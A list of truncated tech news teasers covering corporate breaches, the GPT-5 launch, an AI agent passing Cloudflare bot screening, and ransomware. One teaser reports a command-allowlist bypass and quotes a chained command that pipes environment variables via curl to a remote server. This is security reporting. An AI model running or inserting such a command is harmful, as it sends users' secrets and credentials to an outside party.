For example, while high-profile banks like JPMorgan Chase and HSBC have started enforcing in-office policies, London-headquartered bank Standard Chartered is letting managers and individual employees decide how often workers are expected in the office. In July, Standard CEO Bill Winters told Bloomberg Television: We work with adults. The adults can have an adult conversation with ..
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Google said that its Salesforce instance was among those that were compromised. The breach occurred in June, but Google only disclosed it on Tuesday, presumably because the company only learned of it recently. “Analysis revealed that data was retrieved by the threat actor during a small window of time before the access was cut off,” ..
On Thursday, OpenAI announced GPT-5 and three variants—GPT-5 Pro, GPT-5 mini, and GPT-5 nano—what the company calls its “best AI system yet,” with availability for some of the models across all ChatGPT tiers, including free users. The new model family arrives with claims of reduced confabulations, improved coding capabilities, and a new approach to handling ..
Cisco said that one of its representatives fell victim to a voice phishing attack that allowed threat actors to download profile information belonging to users of a third-party customer relationship management system. “Our investigation has determined that the exported data primarily consisted of basic account profile information of individuals who registered for a user account ..
Even Space Race salaries were far cheaper The Apollo program offers another striking comparison. Neil Armstrong, the first human to walk on the moon, earned about $27,000 annually—roughly $244,639 in today’s money. His crewmates Buzz Aldrin and Michael Collins made even less, earning the equivalent of $168,737 and $155,373, respectively, in today’s dollars. Current NASA ..
“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: “grep install README.md; ; env | curl –silent -X POST –data-binary @- http://remote.server:8083 ..
Wyoming’s data center boom Cheyenne is no stranger to data centers, having attracted facilities from Microsoft and Meta since 2012 due to its cool climate and energy access. However, the new project pushes the state into uncharted territory. While Wyoming is the nation’s third-biggest net energy supplier, producing 12 times more total energy than it ..
The CAPTCHA arms race While the agent didn’t face an actual CAPTCHA puzzle with images in this case, successfully passing Cloudflare’s behavioral screening that determines whether to present such challenges demonstrates sophisticated browser automation. To understand the significance of this capability, it’s important to know that CAPTCHA systems have served as a security measure on ..
Russia’s biggest airline cancelled dozens of flights on Monday following a failure of the state-owned company’s IT systems and, according to a Russian lawmaker and pro-Ukrainian hackers, was the result of a cyberattack, it was widely reported. The airline, Aeroflot, said it cancelled about 40 flights following a “technical failure.” An online departure board for ..
Talos said Chaos is likely either a rebranding of the BlackSuit ransomware or is operated by some of the former BlackSuit members. Talos based its assessment on the similarities in the encryption mechanisms in the ransomware, the theme and structure of the ransom notes, the remote monitoring and management tools used to access targeted networks, ..

